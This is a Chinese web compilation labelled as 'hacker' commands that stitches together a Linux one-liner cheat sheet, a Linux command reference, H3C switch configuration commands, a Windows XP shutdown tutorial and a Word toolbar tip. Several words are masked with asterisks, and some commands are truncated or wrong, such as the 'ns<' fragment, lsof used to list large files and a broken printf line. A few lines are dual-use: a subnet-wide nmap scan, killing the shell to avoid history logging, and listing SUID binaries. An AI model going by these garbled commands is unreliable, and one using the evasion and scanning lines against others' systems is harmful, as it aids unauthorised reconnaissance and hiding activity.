  32.所有用户列表:

  getent passwd

  33.Mount root in read/write mode:

  mount -o remount,rw /

  34.挂载一个目录(这是不能使用链接的情况):

  mount --bind /source /destination

  35.动态更新DNS server:

  ns<

  add $HOST 86400 A $IP

  send

  EOF

  36.递归grep所有目录:

  grep -r "some_text" /path/to/dir

  37.列出前10个最大的文件:

  lsof / | awk { if($7 > 1048576) print $7/1048576 "MB "$9 } | sort -n -u | tail

  38.显示剩余内存(MB):

  free -m | grep cache | awk /[0-9]/{ print $4" MB" }

  39.打开Vim并跳到文件末:

  vim + some_file_name

  40.Git 克隆指定分支(master):

  git clone git@github:name/app.git -b master

  41.Git 切换到其它分支(develop):

  git checkout develop

  42.Git 删除分支(myfeature):

  git branch -d myfeature

  43.Git 删除远程分支

  git push origin :branchName

  44.Git 将新分支推送到远程服务器:

  git push -u origin mynewfeature

  45.打印历史记录中最后一次cat命令:

  !cat:p

  46.运行历史记录里最后一次cat命令:

  !cat

  47.找出/home/user下所有空子目录:

  find /home/user -maxdepth 1 -type d -empty

  48.获取test.txt文件中第50-60行内容:

  < test.txt sed -n 50,60p

  49.运行最后一个命令(如果最后一个命令是mkdir /root/test, 下面将会运行: sudo mkdir /root/test):

  sudo !!

  50.创建临时RAM文件系统 – ramdisk (先创建/tmpram目录):

  mount -t tmpfs tmpfs /tmpram -o size=512m

  51.Grep whole words:

  grep -w "name" test.txt

  52.在需要提升权限的情况下往一个文件里追加文本:

  echo "some text" | sudo tee -a /path/file

  53.列出所有kill signal参数:

  kill -l

  54.在bash历史记录里禁止记录最后一次会话:

  kill -9 $$

  55.扫描网络寻找开放的端口:

  nmap -p 8081 172.20.0.0/16

  56.设置git email:

  git config --global user.email "me@example"

  57.To sync with master if you have unpublished commits:

  git pull --rebase origin master

  58.将所有文件名中含有”txt”的文件移入/home/user目录:

  find -iname "*txt*" -exec mv -v {} /home/user ;

  59.将文件按行并列显示:

  paste test.txt test1.txt

  60.shell里的进度条:

  pv data.log

  61.使用netcat将数据发送到Graphite server:

  echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000

  62.将tabs转换成空格:

  expand test.txt > test1.txt

  63.Skip bash history:

  < space >cmd

  64.去之前的工作目录:

  cd -

  65.拆分大体积的tar.gz文件(每个100MB),然后合并回去:

  split –b 100m /path/to/large/archive /path/to/output/files

  cat files* > archive

  66.使用curl获取HTTP status code:

  curl -sL -w "%{http_code} " www.example -o /dev/null

  67.设置root密码,强化MySQL安全安装:

  /usr/bin/mysql_secure_installation

  68.当Ctrl + c不好使时:

  Ctrl +

  69.获取文件owner:

  stat -c %U file.txt

  70.block设备列表:

  lsblk -f

  71.找出文件名结尾有空格的文件:

  find . -type f -exec egrep -l " +$" {} ;

  72.找出文件名有tab缩进符的文件

  find . -type f -exec egrep -l $ {} ;

  73.用”=”打印出横线:全选复制放进笔记

  printf %100s | tr =

  linux命令 篇2

  系统信息

  arch 显示机器的处理器架构

  uname -m 显示机器的处理器架构

  uname -r 显示正在使用的'内核版本

  dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI)

  hdparm -i /dev/hda 罗列一个磁盘的架构特性

  hdparm -tT /dev/sda 在磁盘上执行测试性读取操作

  cat /proc/cpuinfo 显示CPU info的信息

  cat /proc/interrupts 显示中断

  cat /proc/meminfo 校验内存使用

  cat /proc/swaps 显示哪些swap被使用

  cat /proc/version 显示内核的版本

  cat /proc/net/dev 显示网络适配器及统计

  cat /proc/mounts 显示已加载的文件系统

  lspci -tv 罗列 PCI 设备

  lsusb -tv 显示 USB 设备

  date 显示系统日期

  cal 2007 显示2007年的日历表

  date 041217002007.00 设置日期和时间 - 月日时分年.秒

  clock -w 将时间修改保存到 BIOS

  关机 (系统的关机、重启以及登出 )

  shutdown -h now 关闭系统

  init 0 关闭系统

  telinit 0 关闭系统

  shutdown -h hours:minutes & 按预定时间关闭系统

  shutdown -c 取消按预定时间关闭系统

  shutdown -r now 重启

  reboot 重启

  logout 注销

  文件和目录

  cd /home 进入 / home 目录

  cd .. 返回上一级目录

  cd ../.. 返回上两级目录

  cd 进入个人的主目录

  cd ~user1 进入个人的主目录

  cd - 返回上次所在的目录

  pwd 显示工作路径

  ls 查看目录中的文件

  ls -F 查看目录中的文件

  ls -l 显示文件和目录的详细资料

  ls -a 显示隐藏文件

  ls *[0-9]* 显示包含数字的文件名和目录名

  tree 显示文件和目录由根目录开始的树形结构

  lstree 显示文件和目录由根目录开始的树形结构

  mkdir dir1 创建一个叫做 dir1 的目录

  mkdir dir1 dir2 同时创建两个目录

  mkdir -p /tmp/dir1/dir2 创建一个目录树

  rm -f file1 删除一个叫做 file1 的文件

  rmdir dir1 删除一个叫做 dir1 的目录

  rm -rf dir1 删除一个叫做 dir1 的目录并同时删除其内容

  rm -rf dir1 dir2 同时删除两个目录及它们的内容

  mv dir1 new_dir 重命名/移动 一个目录

  cp file1 file2 复制一个文件

  cp dir/* . 复制一个目录下的所有文件到当前工作目录

  cp -a /tmp/dir1 . 复制一个目录到当前工作目录

  cp -a dir1 dir2 复制一个目录

  cp -rdir1 dir2 复制一个目录及子目录

  ln -s file1 lnk1 创建一个指向文件或目录的软链接

  ln file1 lnk1 创建一个指向文件或目录的物理链接

  touch -t 0712250000 file1 修改一个文件或目录的时间戳 - (YYMMDDhhmm)

  file file1 outputs the mime type of the file as text

  iconv -l 列出已知的编码

  iconv -f fromEncoding -t toEncoding inputFile > outputFile creates a new from the given input file by assuming it is encoded in fromEncoding and converting it to toEncoding.

  find . -maxdepth 1 -name *.jpg -print -exec convert "{}" -resize 80x60 "thumbs/{}" ; batch resize files in the current directory and send them to a thumbnails directory (requires convert from Imagemagick)

  文件搜索

  find / -name file1 从 / 开始进入根文件系统搜索文件和目录

  find / -user user1 搜索属于用户 user1 的文件和目录

  find /home/user1 -name *.bin 在目录 / home/user1 中搜索带有.bin 结尾的文件

  find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件

  find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件

  find / -name *.rpm -exec chmod 755 {} ; 搜索以 .rpm 结尾的文件并定义其权限

  find / -xdev -name *.rpm 搜索以 .rpm 结尾的文件,忽略光驱、捷盘等可移动设备

  locate *.ps 寻找以 .ps 结尾的文件 - 先运行 updatedb 命令

  whereis halt 显示一个二进制文件、源码或man的位置

  which halt 显示一个二进制文件或可执行文件的完整路径

  挂载一个文件系统

  mount /dev/hda2 /mnt/hda2 挂载一个叫做hda2的盘 - 确定目录 / mnt/hda2 已经存在

  umount /dev/hda2 卸载一个叫做hda2的盘 - 先从挂载点 / mnt/hda2 退出

  fuser -km /mnt/hda2 当设备繁忙时**卸载

  umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用

  mount /dev/fd0 /mnt/floppy 挂载一个软盘

  mount /dev/cdrom /mnt/cdrom 挂载一个cdrom或dvdrom

  mount /dev/hdc /mnt/cdrecorder 挂载一个cdrw或dvdrom

  mount /dev/hdb /mnt/cdrecorder 挂载一个cdrw或dvdrom

  mount -o loop file.iso /mnt/cdrom 挂载一个文件或ISO镜像文件

  mount -t vfat /dev/hda5 /mnt/hda5 挂载一个Windows FAT32文件系统

  mount /dev/sda1 /mnt/usbdisk 挂载一个usb 捷盘或闪存设备

  mount -t smbfs -o username=user,password=pass //WinClient/share /mnt/share 挂载一个windows网络共享

  磁盘空间

  df -h 显示已经挂载的分区列表

  ls -lSr |more 以尺寸大小排列文件和目录

  du -sh dir1 估算目录 dir1 已经使用的磁盘空间

  du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小

  rpm -q -a --qf %10{SIZE}t%{NAME}n | sort -k1,1n 以大小为依据依次显示已安装的rpm包所使用的空间 (fedora, redhat类系统)

  dpkg-query -W -f=${Installed-Size;10}t${Package}n | sort -k1,1n 以大小为依据显示已安装的deb包所使用的空间 (ubuntu, debian类系统)

  用户和群组

  groupadd group_name 创建一个新用户组

  groupdel group_name 删除一个用户组

  groupmod -n new_group_name old_group_name 重命名一个用户组

  useradd -c "Name Surname " -g admin -d /home/user1 -s /bin/bash user1 创建一个属于 "admin" 用户组的用户

  useradd user1 创建一个新用户

  userdel -r user1 删除一个用户 ( -r 排除主目录)

  usermod -c "User FTP" -g system -d /ftp/user1 -s /bin/nologin user1 修改用户属性

  passwd 修改口令

  passwd user1 修改一个用户的口令 (只允许root执行)

  chage -E 2005-12-31 user1 设置用户口令的失效期限

  pwck 检查 /etc/passwd 的文件格式和语法修正以及存在的用户

  grpck 检查 /etc/passwd 的文件格式和语法修正以及存在的群组

  newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组

  文件的权限 - 使用 "+" 设置权限,使用 "-" 用于取消

  ls -lh 显示权限

  ls /tmp | pr -T5 -W$COLUMNS 将终端划分成5栏显示

  chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读(r )、写(w)和执行(x)的权限

  chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限

  chown user1 file1 改变一个文件的所有人属性

  chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性

  chgrp group1 file1 改变文件的群组

  chown user1:group1 file1 改变一个文件的所有人和群组属性

  find / -perm -u+s 罗列一个系统中所有使用了SUID**的文件

  chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限

  chmod u-s /bin/file1 禁用一个二进制文件的 SUID位

  chmod g+s /home/public 设置一个目录的SGID 位 - 类似SUID ,不过这是针对目录的

  chmod g-s /home/public 禁用一个目录的 SGID 位

  chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件

  chmod o-t /home/public 禁用一个目录的 STIKY 位

  文件的特殊属性 - 使用 "+" 设置权限,使用 "-" 用于取消

  chattr +a file1 只允许以追加方式读写文件

  chattr +c file1 允许这个文件能被内核自动压缩/解压

  chattr +d file1 在进行文件系统备份时,dump程序将忽略这个文件

  chattr +i file1 设置成不可变的文件,不能***、修改、重命名或者链接

  chattr +s file1 允许一个文件被安全地删除

  chattr +S file1 一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘

  chattr +u file1 若文件***,系统会允许你在以后恢复这个***的文件

  lsattr 显示特殊的属性

  打包和压缩文件

  bunzip2 file1.bz2 解压一个叫做 file1.bz2的文件

  bzip2 file1 压缩一个叫做 file1 的文件

  gunzip file1.gz 解压一个叫做 file1.gz的文件

  gzip file1 压缩一个叫做 file1的文件

  gzip -9 file1 最大程度压缩

  rar a file1.rar test_file 创建一个叫做 file1.rar 的包

  rar a file1.rar file1 file2 dir1 同时压缩 file1, file2 以及目录 dir1

  rar x file1.rar 解压rar包

  unrar x file1.rar 解压rar包

  tar -cvf archive.tar file1 创建一个非压缩的 tarball

  tar -cvf archive.tar file1 file2 dir1 创建一个包含了 file1, file2 以及 dir1的档案文件

  tar -tf archive.tar 显示一个包中的内容

  tar -xvf archive.tar **一个包

  tar -xvf archive.tar -C /tmp 将压缩包**到 /tmp目录下

  tar -cvfj archive.tar.bz2 dir1 创建一个bzip2格式的压缩包

  tar -jxvf archive.tar.bz2 解压一个bzip2格式的压缩包

  tar -cvfz archive.tar.gz dir1 创建一个gzip格式的压缩包

  tar -zxvf archive.tar.gz 解压一个gzip格式的压缩包

  zip file1.zip file1 创建一个zip格式的压缩包

  zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个zip格式的压缩包

  unzip file1.zip 解压一个zip格式压缩包


黑客cmd命令大全(扩展4)

——h3c交换机**配置命令

h3c交换机**配置命令

  H3C不但拥有全线路由器和以太网交换机产品,还在网络安全、云存储、云桌面、硬件服务器、WLAN、SOHO及软件管理系统等领域稳健成长。下面是小编整理的关于h3c交换机**配置命令,欢迎大家参考!

  1、调整超级终端的显示字号;

  2、捕获超级终端操作命令行,以备日后查对;

  3、 language-mode Chinese|English 中英文切换 ;

  4、复制命令到超级终端命令行, 粘贴到主机;

  5、交换机**配置 :

  reset save ;

  reboot ;

  6、路由器、交换机配置时不能掉电,连通测试前一定要

  检查网络的连通性,不要犯最低级的错误。

  7、192.168.1.1/24 等同 192.168.1.1 255.255.255.0;在配置交换机和路由器时, 192.168.1.1 255.255.255.0 可以写成:

  192.168.1.1 24

  8、设备命名规则:地名-设备名-系列号 例:PingGu-R-S3600

  H3C交换机清空配置文件

  1.重新启动交换机。

  2.同时按下CTRL和b两个键。

  3.系统会进入一个提示输入PASSWORD的界面,默认密码为空。直接敲回车略过。

  4.这时进入一个选择菜单界面,按提示选项删除对应的config.cfg (一般正在使用的config.cfg后边带个*号,删除对应这个项目。)

  之后按0(对应功能为重启动)这时配置已经被**了.

  H3C 交换机配置命令详解

  华为3COM交换机配置命令详解

  1、配置文件相关命令

  [Quidway]display current-configuration ;显示当前生效的配置

  [Quidway]display saved-configuration ;显示flash中配置文件,即下次上电启动时所用的配置文件

  reset saved-configuration ;檫除旧的配置文件

  reboot ;交换机重启

  display version ;显示系统版本信息

  2、基本配置

  [Quidway]super password ;修改**用户密码

  [Quidway]sysname ;交换机命名

  [Quidway]interface ethernet 0/1 ;进入接口视图

  [Quidway]interface vlan x ;进入接口视图

  [Quidway-Vlan-interfacex]ip address 10.65.1.1 255.255.0.0 ;配置VLAN的IP地址

  [Quidway]ip route-static 0.0.0.0 0.0.0.0 10.65.1.2 ;静态路由=网关

  3、telnet配置

  [Quidway]user-interface vty 0 4 ;进入虚拟终端

  [S3026-ui-vty0-4]authentication-mode password ;设置口令模式

  [S3026-ui-vty0-4]set authentication-mode password simple 222 ;设置口令

  [S3026-ui-vty0-4]user privilege level 3 ;用户级别

  4、端口配置

  [Quidway-Ethernet0/1]duplex {half|full|auto} ;配置端口工作状态

  [Quidway-Ethernet0/1]speed {10|100|auto} ;配置端口工作速率

  [Quidway-Ethernet0/1]flow-control ;配置端口流控

  [Quidway-Ethernet0/1]mdi {across|auto|normal} ;配置端口*接扭接

  [Quidway-Ethernet0/1]port link-type {trunk|access|hybrid} ;设置端口工作模式

  [Quidway-Ethernet0/1]undo shutdown ;激活端口

  [Quidway-Ethernet0/2]quit ;退出系统视图

  5、链路聚合配置

  [DeviceA] link-aggregation group 1 mode manual ;创建手工聚合组1

  [DeviceA] interface ethernet 1/0/1 ;将以太网端口Ethernet1/0/1加入聚合组1

  [DeviceA-Ethernet1/0/1] port link-aggregation group 1

  [DeviceA-Ethernet1/0/1] interface ethernet 1/0/2 ;将以太网端口Ethernet1/0/1加入聚合组1

  [DeviceA-Ethernet1/0/2] port link-aggregation group 1

  [DeviceA] link-aggregation group 1 service-type tunnel # 在手工聚合组的基础上创建Tunnel业务环回组。

  [DeviceA] interface ethernet 1/0/1 # 将以太网端口Ethernet1/0/1加入业务环回组。

  [DeviceA-Ethernet1/0/1] undo stp

  [DeviceA-Ethernet1/0/1] port link-aggregation group 1

  6、端口镜像

  [Quidway]monitor-port ;指定镜像端口

  [Quidway]port mirror  ;指定被镜像端口

  [Quidway]port mirror int_list observing-port int_type int_num ;指定镜像和被镜像

  7、VLAN配置

  [Quidway]vlan 3       ;创建VLAN

  [Quidway-vlan3]port ethernet 0/1 to ethernet 0/4      ;在VLAN中增加端口

  配置基于access的VLAN

  [Quidway-Ethernet0/2]port access vlan 3      ;当前端口加入到VLAN

  注意:缺省情况下,端口的链路类型为Access类型,所有Access端口均属于且只属于VLAN1

  配置基于trunk的VLAN

  [Quidway-Ethernet0/2]port link-type trunk ;设置当前端口为trunk

  [Quidway-Ethernet0/2]port trunk permit vlan {ID|All}   ;设trunk允许的VLAN

  注意:所有端口缺省情况下都是允许VLAN1的报文通过的

  [Quidway-Ethernet0/2]port trunk pvid vlan 3      ;设置trunk端口的PVID

  配置基于Hybrid端口的VLAN

  [Quidway-Ethernet0/2]port link-type hybrid ;配置端口的链路类型为Hybrid类型

  [Quidway-Ethernet0/2]port hybrid vlan vlan-id-list { tagged | untagged } ;允许指定的VLAN通过当前Hybrid端口

  注意:缺省情况下,所有Hybrid端口只允许VLAN1通过

  [Quidway-Ethernet0/2]port hybrid pvid vlan vlan-id ;设置Hybrid端口的缺省VLAN

  注意:缺省情况下,Hybrid端口的缺省VLAN为VLAN1

  VLAN描述

  [Quidway]description string      ;指定VLAN描述字符

  [Quidway]description       ;删除VLAN描述字符

  [Quidway]display vlan [vlan_id] ;查看VLAN设置

  私有VLAN配置

  [SwitchA-vlanx]isolate-user-vlan enable      ;设置主vlan

  [SwitchA]Isolate-user-vlansecondary

  ;设置主vlan包括的子vlan

  [Quidway-Ethernet0/2]port hybrid pvid vlan     ;设置vlan的pvid

  [Quidway-Ethernet0/2]port hybrid pvid      ;删除vlan的pvid

  [Quidway-Ethernet0/2]port hybrid vlan vlan_id_list untagged  ;设置无标识的vlan

  如果包的vlan id与PVId一致,则去掉vlan信息. 默认PVID=1。

  所以设置PVID为所属vlan id, 设置可以互通的vlan为untagged.

  8、STP配置

  [Quidway]stp {enable|disable} ;设置生成树,默认关闭

  [Quidway]stp mode rstp ;设置生成树模式为rstp

  [Quidway]stp priority 4096      ;设置交换机的优先级

  [Quidway]stp root {primary|secondary}      ;设置为根或根的备份

  [Quidway-Ethernet0/1]stp cost 200      ;设置交换机端口的花费

  MSTP配置:

  # 配置MST域名为info,MSTP修订级别为1,VLAN映射关系为VLAN2~VLAN10映射到生成树实例1上,VLAN20~VLAN30映射生成树实例2上。

  system-view

  [Sysname] stp region-configuration

  [Sysname-mst-region] region-name info

  [Sysname-mst-region] instance 1 vlan 2 to 10

  [Sysname-mst-region] instance 2 vlan 20 to 30

  [Sysname-mst-region] revision-level 1

  [Sysname-mst-region] active region-configuration

  9、MAC地址表的操作

  在系统视图下添加MAC地址表项

  [Quidway]mac-address { static | dynamic | blackhole } mac-address interface interface-type interface-number vlan vlan-id ;添加MAC地址表项

  在添加MAC地址表项时,命令中interface参数指定的端口必须属于vlan参数指定的VLAN,否则将添加失败。

  如果vlan参数指定的VLAN是动态VLAN,在添加静态MAC地址之后,会自动变为静态VLAN。

  在以太网端口视图下添加MAC地址表项

  [Quidway-Ethernet0/2]mac-address { static | dynamic | blackhole } mac-address vlan vlan-id

  在添加MAC地址表项时,当前的端口必须属于命令中vlan参数指定的VLAN,否则将添加失败;

  如果vlan参数指定的VLAN是动态VLAN,在添加静态MAC地址之后,会自动变为静态VLAN。

  [Quidway]mac-address timer { aging age | no-aging } ;设置MAC地址表项的老化时间

  注意:缺省情况下,MAC地址表项的老化时间为300秒,使用参数no-aging时表示不对MAC地址表项进行老化。

  MAC地址老化时间的配置对所有端口都生效,但地址老化功能只对动态的(学习到的或者用户配置可老化的)MAC地址表项起作用。

  [Quidway-Ethernet0/2]mac-address max-mac-count count ;设置端口最多可以学习到的MAC地址数量

  注意:缺省情况下,没有配置对端口学习MAC地址数量的限制。反之,如果端口启动了MAC地址认证和端口安全功能,则不能配置该端口的最大MAC地址学习个数。

  [Quidway-Ethernet0/2]port-mac start-mac-address ;配置以太网端口MAC地址的起始值

  在缺省情况下,E126/E126A交换机的以太网端口是没有配置MAC地址的,因此当交换机在发送二层协议报文(例如STP)时,由于无法取用发送端口的MAC地址,

  将使用该协议预置的MAC地址作为源地址填充到报文中进行发送。在实际组网中,由于多台设备都使用相同的源MAC地址发送二层协议报文,会造成在某台设备的不

  同端口学习到相同MAC地址的情况,可能会对MAC地址表的维护产生影响。

  [Quidway]display mac-address ;显示地址表信息

  [Quidway]display mac-address aging-time ;显示地址表动态表项的老化时间

  [Quidway]display port-mac ;显示用户配置的以太网端口MAC地址的起始值

  10、GVRP配置

  [SwitchA] gvrp # 开启全局GVRP

  [SwitchA-Ethernet1/0/1] gvrp # 在以太网端口Ethernet1/0/1上开启GVRP

  [SwitchE-Ethernet1/0/1] gvrp registration { fixed | forbidden | normal } # 配置GVRP端口注册模式 缺省为normal

  [SwitchA] display garp statistics [ interface interface-list ] ;显示GARP统计信息

  [SwitchA] display garp timer [ interface interface-list ] ;显示GARP定时器的值

  [SwitchA] display gvrp statistics [ interface interface-list ] ;显示GVRP统计信息

  [SwitchA] display gvrp status ;显示GVRP的全局状态信息

  [SwitchA] display gvrp statusreset garp statistics [ interface interface-list ] ;**GARP统计信息

  11、DLDP配置

  [SwitchA] interface gigabitethernet 1/1/1 # 配置端口工作在**全双工模式,速率为1000Mbits/s。

  [SwitchA-GigabitEthernet1/1/1] duplex full

  [SwitchA-GigabitEthernet1/1/1] speed 1000

  [SwitchA] dldp enable # 全局开**LDP。

  [SwitchA] dldp interval 15 # 设置发送DLDP报文的时间间隔为15秒。

  [SwitchA] dldp work-mode { enhance | normal } # 配置DLDP协议的工作模式为加强模式。 缺省为normal

  [SwitchA] dldp unidirectional-shutdown { auto | manual } # 配置DLDP单向链路操作模式为自动模式。 缺省为auto

  [SwitchA] display dldp 1 # 查看DLDP状态。

  当光纤交叉连接时,可能有两个或三个端口处于Disable状态,剩余端口处于Inactive状态。

  当光纤一端连接正确,一端未连接时:

  如果DLDP的工作模式为normal,则有收光的一端处于Advertisement状态,没有收光的一端处于Inactive状态。

  如果DLDP的工作模式为enhance,则有收光的一端处于Disable状态,没有收光的一端处于Inactive状态。

  dldp reset命令在全局下可以重置所有端口的DLDP状态,在接口下可以充值该端口的DLDP状态

  12、端口隔离配置

  通过端口隔离特性,用户可以将需要进行**的端口加入到一个隔离组中,实现隔离组中的端口之间二层、三层数据的隔离,既增强了网络的安全性,也为用户

  提供了灵活的组网方案。

  [Sysname] interface ethernet1/0/2 # 将以太网端口Ethernet1/0/2加入隔离组。

  [Sysname-Ethernet1/0/2] port isolate

  [Sysname]display isolate port # 显示隔离组中的端口信息

  配置隔离组后,只有隔离组内各个端口之间的报文不能互通,隔离组内端口与隔离组外端口以及隔离组外端口之间的通信不会受到影响。

  端口隔离特性与以太网端口所属的VLAN无关。

  当汇聚组中的某个端口加入或离开隔离组后,本设备中同一汇聚组内的其它端口,均会自动加入或离开该隔离组。

  对于既处于某个聚合组又处于某个隔离组的'一组端口,其中的一个端口离开聚合组时不会影响其他端口,即其他端口仍将处于原聚合组和原隔离组中。

  如果某个聚合组中的端口同时属于某个隔离组,当在系统视图下直接删除该聚合组后,该聚合组中的端口仍将处于该隔离组中。

  当隔离组中的某个端口加入聚合组时,该聚合组中的所有端口,将会自动加入隔离组中。

  13、端口安全配置

  [Switch] port-security enable # 启动端口安全功能

  [Switch] interface Ethernet 1/0/1 # 进入以太网Ethernet1/0/1端口视图

  [Switch-Ethernet1/0/1] port-security max-mac-count 80 # 设置端口允许接入的最大MAC地址数为80

  [Switch-Ethernet1/0/1] port-security port-mode autolearn # 配置端口的安全模式为autolearn

  [Switch-Ethernet1/0/1] mac-address security 0001-0002-0003 vlan 1 # 将Host 的MAC地址0001-0002-0003作为Security MAC添加到VLAN 1中

  [Switch-Ethernet1/0/1] port-security intrusion-mode disableport-temporarily # 设置Intrusion Protection特性被触发后,暂时关闭该端口

  [Switch]port-security timer disableport 30 # 关闭时间为30秒。

  14、端口绑定配置

  通过端口绑定特性,网络管理员可以将用户的MAC地址和IP地址绑定到指定的端口上。进行绑定操作后,交换机只对从该端口收到的指定MAC地址和IP地

  址的用户发出的报文进行转发,提高了系统的安全性,增强了对网络安全的**。

  [SwitchA-Ethernet1/0/1] am user-bind mac-addr 0001-0002-0003 ip-addr 10.12.1.1 # 将Host 1的MAC地址和IP地址绑定到Ethernet1/0/1端口。

  有的交换机上绑定的配置不一样

  [SwitchA] interface ethernet 1/0/2

  [SwitchA-Ethernet1/0/2] user-bind ip-address 192.168.0.3 mac-address 0001-0203-0405

  端口过滤配置

  [SwitchA] interface ethernet1/0/1 # 配置端口Ethernet1/0/1的端口过滤功能。

  [SwitchA-Ethernet1/0/1] ip check source ip-address mac-address

  [SwitchA] dhcp-snooping # 开**HCP Snooping功能。

  [SwitchA] interface ethernet1/0/2 # 设置与DHCP服务器相连的端口Ethernet1/0/2为信任端口。

  [SwitchA-Ethernet1/0/2] dhcp-snooping trust

  在端口Ethernet1/0/1上启用IP过滤功能,防止客户端使用伪造的不同源IP地址对服务器进行攻击

  15、BFD配置

  Switch A、Switch B、Switch C相互可达,在Switch A上配置静态路由可以到达Switch C,并使能BFD检测功能。

  # 在Switch A上配置静态路由,并使能BFD检测功能,通过BFD echo报文方式实现BFD功能。

  system-view

  [SwitchA] bfd echo-source-ip 123.1.1.1

  [SwitchA] interface vlan-interface 10

  [SwitchA-vlan-interface10] bfd min-echo-receive-interval 300

  [SwitchA-vlan-interface10] bfd detect-multiplier 7

  [SwitchA-vlan-interface10] quit

  [SwitchA] ip route-static 120.1.1.1 24 10.1.1.100 bfd echo-packet

  # 在Switch A上打开BFD功能调试信息开关。

  debugging bfd event

  debugging bfd scm

  terminal debugging

  在Switch A上可以打开BFD功能调试信息开关,断开Hub和Switch B之间的链路,验证配置结果。验证结果显示,

  Switch A能够快速感知Switch A与Switch B之间链路的变化。

  16、QinQ配置

  Provider A、Provider B之间通过Trunk端口连接,Provider A属于运营商网络的VLAN1000,Provider B属于运营商网络的VLAN2000。

  Provider A和Provider B之间,运营商采用其他厂商的设备,TPID值为0x8200。

  希望配置完成后达到下列要求:

  Customer A的VLAN10的报文可以和Customer B的VLAN10的报文经过运营商网络的VLAN1000转发后互通;Customer A的VLAN20的报文可以

  和Customer C的VLAN20的报文经过运营商网络的VLAN2000转发后互通。

  [ProviderA] interface ethernet 1/0/1 # 配置端口为Hybrid端口,且允许VLAN10,VLAN20,VLAN1000和VLAN2000的报文通过,并且在发送时去掉外层Tag。

  [ProviderA-Ethernet1/0/1] port link-type hybrid

  [ProviderA-Ethernet1/0/1] port hybrid vlan 10 20 1000 2000 untagged

  [ProviderA-Ethernet1/0/1] qinq vid 1000 # 将来自VLAN10的报文封装VLAN ID为1000的外层Tag。

  [ProviderA-Ethernet1/0/1-vid-1000] raw-vlan-id inbound 10

  [ProviderA-Ethernet1/0/1-vid-1000] quit

  [ProviderA-Ethernet1/0/1] qinq vid 2000 # 将来自VLAN20的报文封装VLAN ID为2000的外层Tag。

  [ProviderA-Ethernet1/0/1-vid-2000] raw-vlan-id inbound 20

  [ProviderA] interface ethernet 1/0/2 # 配置端口的缺省VLAN为VLAN1000。

  [ProviderA-Ethernet1/0/2] port access vlan 1000

  [ProviderA-Ethernet1/0/2] qinq enable # 配置端口的基本QinQ功能,将来自VLAN10的报文封装VLAN ID为1000的外层Tag。

  [ProviderA] interface ethernet 1/0/3 # 配置端口为Trunk端口,且允许VLAN1000和VLAN2000的报文通过。

  [ProviderA-Ethernet1/0/3] port link-type trunk

  [ProviderA-Ethernet1/0/3] port trunk permit vlan 1000 2000

  [ProviderA-Ethernet1/0/3] qinq ethernet-type 8200 # 为与公共网络中的设备进行互通,配置端口添加外层Tag时采用的TPID值为0x8200。


黑客cmd命令大全(扩展5)

——xp电脑自动关机命令

xp电脑自动关机命令

  导语:电脑是如何设置自动关机命令,通常情况下我们仅需要通过电脑的开始菜单选择“运行”程序输入shutdown自动关机命令就能启动自动关机功能,以下小编为大家介绍xp电脑自动关机命令文章,仅供参考!

  我们有必要先了解一下WINDOWS XP的关机。Windows XP系统通过一个名为Shutdown.exe的程序来完成关机操作(位置在C盘WindowsSystem下),一般情况下XP的关机是由关机程序shutdown.exe来实现的,关机的时候是调用shutdown.exe程序也就是我们所说的“自动关机命令”。

  电脑是如何设置自动关机命令,通常情况下我们仅需要通过电脑的开始菜单选择“运行”程序输入shutdown自动关机命令就能启动自动关机功能,下面为大家详细介绍一些常用的自动关机命令、电脑自动关机命令及不同参数起到的作用。

  电脑设置自动关机命令步骤:

  电脑设置自动关机输入命令的方式:鼠标点击“开始”菜单——>选择“运行”——>将下方的自动关机命令复制到其中,点击确定即可;

  小提示:按照以下的字母符号在运行窗口上输入即可达到你想要设定的自动关机命令,请看以下步骤:

  自定义电脑自动关机时间命令:at 20:30 shutdown -s

  (命令的含义:电脑将在系统时间为20点30分时自动关机,如果想要设置其他时间,请更改20:30处即可;-s表示关闭本地计算机)

  倒计时方式实现电脑自动关机命令:shutdown.exe -s -t 3500

  (命令的`含义:3500秒后电脑自动关机,并且是以读秒倒计时的方式进行,350则表示3500秒,也就是58分钟后,根据需要自定义时长,以秒为单位;-t表示以读秒倒计时的方式)

  以可视化窗口形式设定自动关机命令:shutdown -i

  (输入运行该命令后,将弹出自动关机设置窗口,根据中文提示设定您的定时关机时间、形式等等,简单易懂;不仅如此,您还可以通过-i命令实现远程**局域网中的计算机自动关机)

  取消电脑自动关机命令:shutdown -a

  (假如您设定了电脑自动关机,但中途想要取消,则输入上面的命令,系统将自动取消定时关机功能,恢复正常状态)

  例如:以下这个操作命令就是以上第三步的设置,倒计时方式的自动关机命令!赶紧试试吧!

  注意事项

  自动关机命令、电脑自动关机命令都需要使用“shutdown.exe”程序,两种定时关机的方式**选择,需要注意的是,所有命令中的参数之间都有一个空格符,输入命令时不要删除这些空格符,否则可能导致命令无效。大家可以赶紧去试试看!很简单的!


黑客cmd命令大全(扩展6)

——Word快速启动栏添加命令的教程

Word快速启动栏添加命令的教程

  在word中,为了方便操作,加快操作速度,我们需要将一些常用的命令拉到任务栏上的快速启动区域。那么,Word快速启动栏怎么添加命令呢?下面小编就给大家详细介绍一下!

  ①启动Word2013,在快速启动栏中可以看到一个向下的箭头,单击它。

  ②在下拉菜单中选择其他命令。

  ③然后找到需要移动到快速访问栏的几项操作,单击添加按钮。

  ④确定之后,我们在快速启动栏看看,已经添加进去了,这样可以省去不少时间,**提高了工作效率。

  扩展:如何在WORD文档添加行号

  我们怎样知道word文档中每页有多少行呢?这就要靠word行号帮忙了。Word中的'行号可以自动计算文件中的行数,然后在各行文字旁显示适当的行号。

